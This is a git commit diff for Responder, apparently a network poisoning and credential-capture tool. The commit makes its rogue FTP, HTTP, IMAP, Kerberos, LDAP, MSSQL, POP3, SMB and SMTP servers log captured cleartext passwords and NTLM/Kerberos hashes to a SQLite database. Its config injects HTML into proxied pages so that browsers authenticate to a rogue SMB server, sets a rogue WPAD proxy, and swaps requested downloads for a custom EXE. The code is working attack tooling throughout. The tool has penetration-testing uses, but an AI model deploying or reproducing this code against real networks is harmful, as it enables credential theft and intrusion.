Further improvement and fixes.

This commit is contained in:
jrmdev 2015-07-07 16:21:28 +10:00
parent 3c00567fa6
commit bc06818ed1
18 changed files with 416 additions and 142 deletions

1
.gitignore vendored
View file

@ -59,6 +59,7 @@ docs/_build/
target/
# Responder logs
*.db
*.txt
*.log
logs/*

View file

@ -16,6 +16,10 @@ LDAP = On
; Custom challenge
Challenge = 1122334455667788
; SQLite Database file
; Delete this file to re-capture previously captured hashes
Database = Responder.db
; Default log file
SessionLog = logs/Responder-Session.log
@ -50,7 +54,7 @@ Serve-Always = Off
; Set to On to replace any requested .exe with the custom EXE
Serve-Exe = On
; Set to on to serve the custom HTML if the URL does not contain .exe
; Set to On to serve the custom HTML if the URL does not contain .exe
; Set to Off to inject the 'HTMLToInject' in web pages instead
Serve-Html = Off
@ -67,9 +71,9 @@ ExeDownloadName = ProxyClient.exe
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
; HTML answer to inject in HTTP responses (before </body> tag).
; Set to an empty string to disable.
; In this example, we redirect make users' browsers issue a request to our rogue SMB server.
HTMLToInject = <img src='file:\\\\\RespProxySrv\ssed\seyad.ico' alt='Loading' height='1' width='1'>
HTMLToInject = <img src='file://RespProxySrv/pictures/logo.jpg' alt='Loading' height='1' width='1'>
[HTTPS Server]

View file

@ -37,6 +37,7 @@ parser.add_option('-w','--wpad', action="store_true", help="Start the
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose")
options, args = parser.parse_args()
if not os.geteuid() == 0:

View file

@ -252,8 +252,10 @@ class IIS_Basic_401_Ans(Packet):
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
("Type", "Content-Type: text/html\r\n"),
("WWW-Auth", "WWW-Authenticate: Basic realm=''\r\n"),
("WWW-Auth", "WWW-Authenticate: Basic realm=\"Authentication Required\"\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),
("AllowOrigin", "Access-Control-Allow-Origin: *\r\n"),
("AllowCreds", "Access-Control-Allow-Credentials: true\r\n"),
("Len", "Content-Length: 0\r\n"),
("CRLF", "\r\n"),
])
@ -262,7 +264,7 @@ class IIS_Basic_401_Ans(Packet):
class WPADScript(Packet):
fields = OrderedDict([
("Code", "HTTP/1.1 200 OK\r\n"),
("ServerType", "Server: Microsoft-IIS/6.0\r\n"),
("ServerTlype", "Server: Microsoft-IIS/6.0\r\n"),
("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"),
("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"),
("PoweredBy", "X-Powered-By: ASP.NET\r\n"),

View file

@ -29,8 +29,6 @@ class FTP(BaseRequestHandler):
if data[0:4] == "USER":
User = data[5:].strip()
print text("[FTP] Client : %s" % color(self.client_address[0], 3))
print text("[FTP] Username : %s" % color(User, 3))
Packet = FTPPacket(Code="331",Message="User name okay, need password.")
self.request.send(str(Packet))
@ -38,13 +36,24 @@ class FTP(BaseRequestHandler):
if data[0:4] == "PASS":
Pass = data[5:].strip()
print text("[FTP] Password : %s" % color(Pass, 3))
Packet = FTPPacket(Code="530",Message="User not logged in.")
self.request.send(str(Packet))
data = self.request.recv(1024)
WriteData(settings.Config.FTPLog % self.client_address[0], User+":"+Pass, User+":"+Pass)
SaveToDb({
'module': 'FTP',
'type': 'Cleartext',
'client': self.client_address[0],
'user': User,
'cleartext': Pass,
'fullhash': User+':'+Pass
})
#print text("[FTP] Client : %s" % color(self.client_address[0], 3))
#print text("[FTP] Username : %s" % color(User, 3))
#print text("[FTP] Password : %s" % color(Pass, 3))
#WriteData(settings.Config.FTPLog % self.client_address[0], User+":"+Pass, User+":"+Pass)
else :
Packet = FTPPacket(Code="502",Message="Command not implemented.")

View file

@ -45,14 +45,25 @@ def ParseHTTPHash(data, client):
HostNameLen = struct.unpack('<H',data[46:48])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
print text("[HTTP] NTLMv1 Client : %s" % client)
print text("[HTTP] NTLMv1 Hostname : %s" % HostName)
print text("[HTTP] NTLMv1 User : %s" % User)
print text("[HTTP] NTLMv1 Hash : %s" % LMHash+":"+NTHash)
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, settings.Config.NumChal)
WriteData(settings.Config.HTTPNTLMv1Log % client, WriteHash, User+"::"+HostName)
SaveToDb({
'module': 'HTTP',
'type': 'NTLMv1',
'client': client,
'host': HostName,
'user': User,
'hash': LMHash+":"+NTHash,
'fullhash': WriteHash,
})
#print text("[HTTP] NTLMv1 Client : %s" % client)
#print text("[HTTP] NTLMv1 Hostname : %s" % HostName)
#print text("[HTTP] NTLMv1 User : %s" % User)
#print text("[HTTP] NTLMv1 Hash : %s" % LMHash+":"+NTHash)
#
#WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, settings.Config.NumChal)
#WriteData(settings.Config.HTTPNTLMv1Log % client, WriteHash, User+"::"+HostName)
if NthashLen > 24:
NthashLen = 64
@ -62,20 +73,32 @@ def ParseHTTPHash(data, client):
HostNameLen = struct.unpack('<H',data[44:46])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
print text("[HTTP] NTLMv2 Client : %s" % client)
print text("[HTTP] NTLMv2 Hostname : %s" % HostName)
print text("[HTTP] NTLMv2 User : %s" % Domain+"\\"+User)
print text("[HTTP] NTLMv2 Hash : %s" % NTHash[:32]+":"+NTHash[32:])
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
WriteData(settings.Config.HTTPNTLMv2Log % client, WriteHash, User+"::"+HostName)
SaveToDb({
'module': 'HTTP',
'type': 'NTLMv2',
'client': client,
'host': HostName,
'user': Domain+'\\'+User,
'hash': NTHash[:32]+":"+NTHash[32:],
'fullhash': WriteHash,
})
#print text("[HTTP] NTLMv2 Client : %s" % client)
#print text("[HTTP] NTLMv2 Hostname : %s" % HostName)
#print text("[HTTP] NTLMv2 User : %s" % Domain+"\\"+User)
#print text("[HTTP] NTLMv2 Hash : %s" % NTHash[:32]+":"+NTHash[32:])
#
#WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
#WriteData(settings.Config.HTTPNTLMv2Log % client, WriteHash, User+"::"+HostName)
def GrabCookie(data, host):
Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data)
if Cookie:
Cookie = Cookie.group(0).replace('Cookie: ', '')
if len(Cookie) > 1 and settings.Config.Verbose:
print text("[HTTP] Cookie : %s " % Cookie)
return Cookie
else:
@ -86,7 +109,8 @@ def GrabHost(data,host):
if Host:
Host = Host.group(0).replace('Host: ', '')
print text("[HTTP] Host : %s " % Host)
if settings.Config.Verbose:
print text("[HTTP] Host : %s " % color(Host, 3))
return Host
else:
return False
@ -123,11 +147,11 @@ def GrabURL(data, host):
POST = re.findall('(?<=POST )[^HTTP]*', data)
POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data)
if GET:
print text("[HTTP] GET request from: %-15s URL: %s" % (host, ''.join(GET)))
if GET and settings.Config.Verbose:
print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5)))
if POST:
print text("[HTTP] POST request from: %-15s URL: %s" % (host, ''.join(POST)))
if POST and settings.Config.Verbose:
print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5)))
if len(''.join(POSTDATA)) > 2:
print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())
@ -182,12 +206,21 @@ def PacketSequence(data, client):
GrabHost(data, client)
GrabCookie(data, client)
print text("[HTTP] (Basic) Client : %s" % client)
print text("[HTTP] (Basic) Username : %s" % ClearText_Auth.split(':')[0])
print text("[HTTP] (Basic) Password : %s" % ClearText_Auth.split(':')[1])
WriteData(settings.Config.HTTPBasicLog % client, ClearText_Auth, ClearText_Auth)
SaveToDb({
'module': 'HTTP',
'type': 'Basic',
'client': client,
'user': ClearText_Auth.split(':')[0],
'cleartext': ClearText_Auth.split(':')[1],
})
#print text("[HTTP] (Basic) Client : %s" % color(client, 3))
#print text("[HTTP] (Basic) Username : %s" % color(ClearText_Auth.split(':')[0], 3))
#print text("[HTTP] (Basic) Password : %s" % color(ClearText_Auth.split(':')[1], 3))
#WriteData(settings.Config.HTTPBasicLog % client, ClearText_Auth, ClearText_Auth)
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
if settings.Config.Verbose:
print text("[HTTP] WPAD (auth) file sent to %s" % client)
return WPAD_Custom
@ -199,10 +232,12 @@ def PacketSequence(data, client):
else:
if settings.Config.Basic == True:
Response = IIS_Basic_401_Ans()
if settings.Config.Verbose:
print text("[HTTP] Sending BASIC authentication request to %s" % client)
else:
Response = IIS_Auth_401_Ans()
if settings.Config.Verbose:
print text("[HTTP] Sending NTLM authentication request to %s" % client)
return str(Response)
@ -219,6 +254,7 @@ class HTTP(BaseRequestHandler):
if Buffer and settings.Config.Force_WPAD_Auth == False:
self.request.send(Buffer)
if settings.Config.Verbose:
print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
else:
@ -243,6 +279,7 @@ class HTTPS(StreamRequestHandler):
if Buffer and settings.Config.Force_WPAD_Auth == False:
self.exchange.send(Buffer)
if settings.Config.Verbose:
print text("[HTTPS] WPAD (no auth) file sent to %s" % self.client_address[0])
else:

View file

@ -24,6 +24,8 @@ import BaseHTTPServer
from servers.HTTP import RespondWithFile
from utils import *
IgnoredDomains = [ 'crl.comodoca.com', 'crl.usertrust.com', 'ocsp.comodoca.com', 'ocsp.usertrust.com', 'www.download.windowsupdate.com', 'crl.microsoft.com' ]
def InjectData(data, client, req_uri):
# Serve the .exe if needed
@ -57,7 +59,9 @@ def InjectData(data, client, req_uri):
Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers))
HasBody = re.findall('(<body[^>]*>)', Content)
if HasBody:
if HasBody and len(settings.Config.HtmlToInject) > 2:
if settings.Config.Verbose:
print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1))
Content = Content.replace(HasBody[0], '%s\n%s' % (HasBody[0], settings.Config.HtmlToInject))
@ -68,8 +72,9 @@ def InjectData(data, client, req_uri):
data = Headers +'\r\n'+ Content
#else:
# print text("[PROXY] Returning unmodified HTTP response")
else:
if settings.Config.Verbose:
print text("[PROXY] Returning unmodified HTTP response")
return data
@ -204,6 +209,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
def handle(self):
(ip, port) = self.client_address
if settings.Config.Verbose:
print text("[PROXY] Received connection from %s" % self.client_address[0])
self.__base_handle()
@ -255,6 +261,10 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(self):
(scm, netloc, path, params, query, fragment) = urlparse.urlparse(self.path, 'http')
if netloc in IgnoredDomains:
#self.send_error(200, "OK")
return
if scm not in ('http') or fragment or not netloc:
self.send_error(400, "bad url %s" % self.path)
return
@ -272,15 +282,18 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
Cookie = self.headers['Cookie'] if "Cookie" in self.headers else ''
if settings.Config.Verbose:
print text("[PROXY] Client : %s" % color(self.client_address[0], 3))
print text("[PROXY] Requested URL : %s" % color(self.path, 3))
print text("[PROXY] Cookie : %s" % Cookie)
self.headers['Connection'] = 'close'
del self.headers['Proxy-Connection']
del self.headers['If-Range']
del self.headers['Range']
for key_val in self.headers.items():
soc.send("%s: %s\r\n" % key_val)
for k, v in self.headers.items():
soc.send("%s: %s\r\n" % (k.title(), v))
soc.send("\r\n")
try:
@ -315,7 +328,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
out = soc
data = i.recv(4096)
if self.command == "POST":
if self.command == "POST" and settings.Config.Verbose:
print text("[PROXY] POST Data : %s" % data)
if data:
try:

View file

@ -38,10 +38,19 @@ class IMAP(BaseRequestHandler):
if data[5:10] == "LOGIN":
Credentials = data[10:].strip()
print text("[IMAP] Address : %s" % color(self.client_address[0], 3, 0))
print text("[IMAP] Username : %s" % color(Credentials[0], 3, 0))
print text("[IMAP] Password : %s" % color(Credentials[1], 3, 0))
WriteData(settings.Config.IMAPLog % self.client_address[0], Credentials, Credentials)
SaveToDb({
'module': 'IMAP',
'type': 'Cleartext',
'client': self.client_address[0],
'user': Credentials[0],
'cleartext': Credentials[1],
'fullhash': Credentials[0]+":"+Credentials[1],
})
#print text("[IMAP] Address : %s" % color(self.client_address[0], 3, 0))
#print text("[IMAP] Username : %s" % color(Credentials[0], 3, 0))
#print text("[IMAP] Password : %s" % color(Credentials[1], 3, 0))
#WriteData(settings.Config.IMAPLog % self.client_address[0], Credentials, Credentials)
## FIXME: Close connection properly
## self.request.send(str(ditchthisconnection()))

View file

@ -122,9 +122,20 @@ class KerbTCP(BaseRequestHandler):
KerbHash = ParseMSKerbv5TCP(data)
if KerbHash:
print text("[KERBEROS] Address :" % self.client_address[0])
print text("[KERBEROS] MSKerbv5 Hash :" % KerbHash)
WriteData(settings.Config.KerberosLog % self.client_address[0], KerbHash, KerbHash)
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
SaveToDb({
'module': 'KERB',
'type': 'MSKerbv5',
'client': self.client_address[0],
'user': domain+'\\'+name,
'hash': h,
'fullhash': KerbHash,
})
#print text("[KERBEROS] Address :" % self.client_address[0])
#print text("[KERBEROS] MSKerbv5 Hash :" % KerbHash)
#WriteData(settings.Config.KerberosLog % self.client_address[0], KerbHash, KerbHash)
except Exception:
raise
@ -137,9 +148,20 @@ class KerbUDP(BaseRequestHandler):
KerbHash = ParseMSKerbv5UDP(data)
if KerbHash:
print text("[KERBEROS] Address :" % self.client_address[0])
print text("[KERBEROS] MSKerbv5 Hash :" % KerbHash)
WriteData(settings.Config.KerberosLog % self.client_address[0], KerbHash, KerbHash)
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
SaveToDb({
'module': 'KERB',
'type': 'MSKerbv5',
'client': self.client_address[0],
'user': domain+'\\'+name,
'hash': h,
'fullhash': KerbHash,
})
#print text("[KERBEROS] Address :" % self.client_address[0])
#print text("[KERBEROS] MSKerbv5 Hash :" % KerbHash)
#WriteData(settings.Config.KerberosLog % self.client_address[0], KerbHash, KerbHash)
except Exception:
raise

View file

@ -54,14 +54,24 @@ def ParseLDAPHash(data, client):
UserOffset = struct.unpack('<H',data[82:84])[0]
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
print text("[LDAP] NTLMv1 Address : %s" % client)
print text("[LDAP] NTLMv1 Username : %s\\%s" % (Domain, User))
print text("[LDAP] NTLMv1 Hash : %s" % NtHash)
WriteHash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+settings.Config.NumChal
WriteData(settings.Config.LDAPNTLMv1Log % client, WriteHash, User+"::"+Domain)
if LMhashLen < 2 :
SaveToDb({
'module': 'LDAP',
'type': 'NTLMv1',
'client': client,
'user': Domain+'\\'+User,
'hash': NtHash,
'fullhash': WriteHash,
})
#print text("[LDAP] NTLMv1 Address : %s" % client)
#print text("[LDAP] NTLMv1 Username : %s\\%s" % (Domain, User))
#print text("[LDAP] NTLMv1 Hash : %s" % NtHash)
#WriteHash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+settings.Config.NumChal
#WriteData(settings.Config.LDAPNTLMv1Log % client, WriteHash, User+"::"+Domain)
if LMhashLen < 2 and settings.Config.Verbose:
print text("[LDAP] Ignoring anonymous NTLM authentication")
def ParseNTLM(data,client):
@ -96,11 +106,20 @@ def ParseLDAPPacket(data, client):
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
print text("[LDAP] Client : %s" % color(client, 3, 0))
print text("[LDAP] Username : %s" % color(UserDomain, 3, 0))
print text("[LDAP] Password : %s" % color(Password, 3, 0))
WritePass = '%s: %s:%s' % (client, UserDomain, Password)
WriteData(settings.Config.LDAPClearLog % client, WritePass, WritePass)
SaveToDb({
'module': 'LDAP',
'type': 'Cleartext',
'client': client,
'user': UserDomain,
'cleartext': Password,
'fullhash': UserDomain+':'+Password,
})
#print text("[LDAP] Client : %s" % color(client, 3, 0))
#print text("[LDAP] Username : %s" % color(UserDomain, 3, 0))
#print text("[LDAP] Password : %s" % color(Password, 3, 0))
#WritePass = '%s: %s:%s' % (client, UserDomain, Password)
#WriteData(settings.Config.LDAPClearLog % client, WritePass, WritePass)
if sasl == "\xA3":
Buffer = ParseNTLM(data,client)
@ -111,6 +130,7 @@ def ParseLDAPPacket(data, client):
return Buffer
else:
if settings.Config.Verbose:
print text('[LDAP] Operation not supported')
# LDAP Server class

View file

@ -74,20 +74,42 @@ def ParseSQLHash(data, client):
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
if NthashLen == 24:
print text("[MSSQL] NTLMv1 Client : %s" % color(client, 3, 0))
print text("[MSSQL] NTLMv1 Domain : %s" % color(Domain, 3, 0))
print text("[MSSQL] NTLMv1 User : %s" % color(User, 3, 0))
print text("[MSSQL] NTLMv1 Hash : %s" % color(LMHash+":"+NTHash, 3, 0))
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, settings.Config.NumChal)
WriteData(settings.Config.MSSQLNTLMv1Log % client, User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal, User+"::"+Domain)
SaveToDb({
'module': 'MSSQL',
'type': 'NTLMv1',
'client': client,
'user': Domain+'\\'+User,
'hash': LMHash+":"+NTHash,
'fullhash': WriteHash,
})
#print text("[MSSQL] NTLMv1 Client : %s" % color(client, 3, 0))
#print text("[MSSQL] NTLMv1 Domain : %s" % color(Domain, 3, 0))
#print text("[MSSQL] NTLMv1 User : %s" % color(User, 3, 0))
#print text("[MSSQL] NTLMv1 Hash : %s" % color(LMHash+":"+NTHash, 3, 0))
#WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, LMHash, NTHash, settings.Config.NumChal)
#WriteData(settings.Config.MSSQLNTLMv1Log % client, User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal, User+"::"+Domain)
if NthashLen > 60:
print text("[MSSQL] NTLMv2 Client : %s" % color(client, 3, 0))
print text("[MSSQL] NTLMv2 Domain : %s" % color(Domain, 3, 0))
print text("[MSSQL] NTLMv2 User : %s" % color(User, 3, 0))
print text("[MSSQL] NTLMv2 Hash : %s" % color(NTHash[:32]+":"+NTHash[32:], 3, 0))
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
WriteData(settings.Config.MSSQLNTLMv2Log % client, WriteHash,User+"::"+Domain)
SaveToDb({
'module': 'MSSQL',
'type': 'NTLMv2',
'client': client,
'user': Domain+'\\'+User,
'hash': NTHash[:32]+":"+NTHash[32:],
'fullhash': WriteHash,
})
#print text("[MSSQL] NTLMv2 Client : %s" % color(client, 3, 0))
#print text("[MSSQL] NTLMv2 Domain : %s" % color(Domain, 3, 0))
#print text("[MSSQL] NTLMv2 User : %s" % color(User, 3, 0))
#print text("[MSSQL] NTLMv2 Hash : %s" % color(NTHash[:32]+":"+NTHash[32:], 3, 0))
#WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
#WriteData(settings.Config.MSSQLNTLMv2Log % client, WriteHash,User+"::"+Domain)
def ParseSqlClearTxtPwd(Pwd):
Pwd = map(ord,Pwd.replace('\xa5',''))
@ -100,19 +122,31 @@ def ParseClearTextSQLPass(data, client):
TDS = TDS_Login_Packet(data)
print text("[MSSQL] Client : %s (%s)" % (color(client, 3, 0) , color(TDS.ClientName, 3, 0)))
print text("[MSSQL] Server : %s" % color(TDS.ServerName, 3, 0))
print text("[MSSQL] Database : %s" % color(TDS.DatabaseName, 3, 0))
print text("[MSSQL] Username : %s" % color(TDS.UserName, 3, 0))
print text("[MSSQL] Password : %s" % color(ParseSqlClearTxtPwd(TDS.Password), 3, 0))
WritePass = TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password)
WriteData(settings.Config.MSSQLClearLog % client, WritePass, WritePass)
SaveToDb({
'module': 'MSSQL',
'type': 'Cleartext',
'client': client,
'hostname': "%s (%s)" % (TDS.ServerName, TDS.DatabaseName),
'user': TDS.UserName,
'cleartext': ParseSqlClearTxtPwd(TDS.Password),
'fullhash': TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password),
})
#print text("[MSSQL] Client : %s (%s)" % (color(client, 3, 0) , color(TDS.ClientName, 3, 0)))
#print text("[MSSQL] Server : %s" % color(TDS.ServerName, 3, 0))
#print text("[MSSQL] Database : %s" % color(TDS.DatabaseName, 3, 0))
#print text("[MSSQL] Username : %s" % color(TDS.UserName, 3, 0))
#print text("[MSSQL] Password : %s" % color(ParseSqlClearTxtPwd(TDS.Password), 3, 0))
#WritePass = TDS.UserName +':'+ ParseSqlClearTxtPwd(TDS.Password)
#WriteData(settings.Config.MSSQLClearLog % client, WritePass, WritePass)
# MSSQL Server class
class MSSQL(BaseRequestHandler):
def handle(self):
if settings.Config.Verbose:
print text("[MSSQL] Received connection from %s" % self.client_address[0])
try:
while True:
data = self.request.recv(1024)

View file

@ -42,10 +42,19 @@ class POP3(BaseRequestHandler):
if data[0:4] == "PASS":
Pass = data[5:].replace("\r\n","")
print text("[POP3] Address : %s" % color(self.client_address[0], 3))
print text("[POP3] Username : %s" % color(User, 3))
print text("[POP3] Password : %s" % color(Pass, 3))
WriteData(settings.Config.POP3Log % self.client_address[0], User+":"+Pass, User+":"+Pass)
SaveToDb({
'module': 'POP3',
'type': 'Cleartext',
'client': self.client_address[0],
'user': User,
'cleartext': Pass,
'fullhash': User+":"+Pass,
})
#print text("[POP3] Address : %s" % color(self.client_address[0], 3))
#print text("[POP3] Username : %s" % color(User, 3))
#print text("[POP3] Password : %s" % color(Pass, 3))
#WriteData(settings.Config.POP3Log % self.client_address[0], User+":"+Pass, User+":"+Pass)
data = self.SendPacketAndRead()

View file

@ -120,12 +120,22 @@ def ParseSMBHash(data,client):
UserLen = struct.unpack('<H',data[113:115])[0]
UserOffset = struct.unpack('<H',data[115:117])[0]
Username = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
print text("[SMB] NTLMv1 (SSP) Address : %s" % client)
print text("[SMB] NTLMv1 (SSP) Username : %s\\%s" % (Domain, Username))
print text("[SMB] NTLMv1 (SSP) Hash : %s" % SMBHash)
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, settings.Config.NumChal)
WriteData(settings.Config.SMBNTLMSSPv1Log % client, WriteHash, Username+"::"+Domain)
SaveToDb({
'module': 'SMB',
'type': 'NTLMv1-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
#print text("[SMB] NTLMv1 (SSP) Address : %s" % client)
#print text("[SMB] NTLMv1 (SSP) Username : %s\\%s" % (Domain, Username))
#print text("[SMB] NTLMv1 (SSP) Hash : %s" % SMBHash)
#WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, settings.Config.NumChal)
#WriteData(settings.Config.SMBNTLMSSPv1Log % client, WriteHash, Username+"::"+Domain)
if NthashLen > 60:
SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
@ -135,12 +145,22 @@ def ParseSMBHash(data,client):
UserLen = struct.unpack('<H',data[117:119])[0]
UserOffset = struct.unpack('<H',data[119:121])[0]
Username = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
print text("[SMB] NTLMv2 (SSP) Address : %s" % client)
print text("[SMB] NTLMv2 (SSP) Username : %s\\%s" % (Domain, Username))
print text("[SMB] NTLMv2 (SSP) Hash : %s" % SMBHash)
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
WriteData(settings.Config.SMBNTLMSSPv2Log % client, WriteHash, Username+"::"+Domain)
SaveToDb({
'module': 'SMB',
'type': 'NTLMv2-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
#print text("[SMB] NTLMv2 (SSP) Address : %s" % client)
#print text("[SMB] NTLMv2 (SSP) Username : %s\\%s" % (Domain, Username))
#print text("[SMB] NTLMv2 (SSP) Hash : %s" % SMBHash)
#WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, SMBHash[:32], SMBHash[32:])
#WriteData(settings.Config.SMBNTLMSSPv2Log % client, WriteHash, Username+"::"+Domain)
# Parse SMB NTLMv1/v2
def ParseLMNTHash(data, client):
@ -205,11 +225,14 @@ class SMB1(BaseRequestHandler):
if data[0] == "\x81":
Buffer = "\x82\x00\x00\x00"
self.request.send(Buffer)
try:
data = self.request.recv(1024)
except:
pass
##Negotiate proto answer.
# Negociate Protocol Response
if data[8:10] == "\x72\x00":
#Customize SMB answer.
# \x72 == Negociate Protocol Response
Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data))
Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data))
Body.calculate()
@ -220,10 +243,11 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer)
data = self.request.recv(1024)
##Session Setup AndX Request
# Session Setup AndX Request
if data[8:10] == "\x73\x00":
IsNT4ClearTxt(data, self.client_address[0])
# STATUS_MORE_PROCESSING_REQUIRED
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data))
Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
Body.calculate()
@ -234,6 +258,7 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer)
data = self.request.recv(4096)
# STATUS_SUCCESS
if data[8:10] == "\x73\x00":
if Is_Anonymous(data):
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
@ -245,7 +270,10 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer)
else:
# Parse NTLMSSP_AUTH packet
ParseSMBHash(data,self.client_address[0])
# Send STATUS_SUCCESS
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Body = SMBSession2Accept()
Body.calculate()
@ -256,9 +284,10 @@ class SMB1(BaseRequestHandler):
self.request.send(Buffer)
data = self.request.recv(1024)
##Tree Connect IPC Answer
# Tree Connect AndX Request
if data[8:10] == "\x75\x00":
ParseShare(data)
# Tree Connect AndX Response
Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data))
Body = SMBTreeData()
Body.calculate()

View file

@ -53,10 +53,19 @@ class ESMTP(BaseRequestHandler):
try: Password = b64decode(data)
except: Password = data
print text("[SMTP] Address : %s" % color(self.client_address[0], 3))
print text("[SMTP] Username : %s" % color(Username, 3))
print text("[SMTP] Password : %s" % color(Password, 3))
WriteData(settings.Config.SMTPClearLog % self.client_address[0], Username+":"+Password, Username+":"+Password)
SaveToDb({
'module': 'SMTP',
'type': 'Cleartext',
'client': self.client_address[0],
'user': Username,
'cleartext': Password,
'fullhash': Username+":"+Password,
})
#print text("[SMTP] Address : %s" % color(self.client_address[0], 3))
#print text("[SMTP] Username : %s" % color(Username, 3))
#print text("[SMTP] Password : %s" % color(Password, 3))
#WriteData(settings.Config.SMTPClearLog % self.client_address[0], Username+":"+Password, Username+":"+Password)
## FIXME: Close connection properly

View file

@ -93,6 +93,9 @@ class Settings:
self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS'))
self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos'))
# Db File
self.DatabaseFile = os.path.join(self.ResponderPATH, config.get('Responder Core', 'Database'))
# Log Files
self.SessionLogFile = os.path.join(self.ResponderPATH, config.get('Responder Core', 'SessionLog'))
self.PoisonersLogFile = os.path.join(self.ResponderPATH, config.get('Responder Core', 'PoisonersLog'))
@ -155,6 +158,7 @@ class Settings:
self.Force_WPAD_Auth = options.Force_WPAD_Auth
self.Upstream_Proxy = options.Upstream_Proxy
self.AnalyzeMode = options.Analyze
self.Verbose = options.Verbose
self.CommandLine = str(sys.argv)
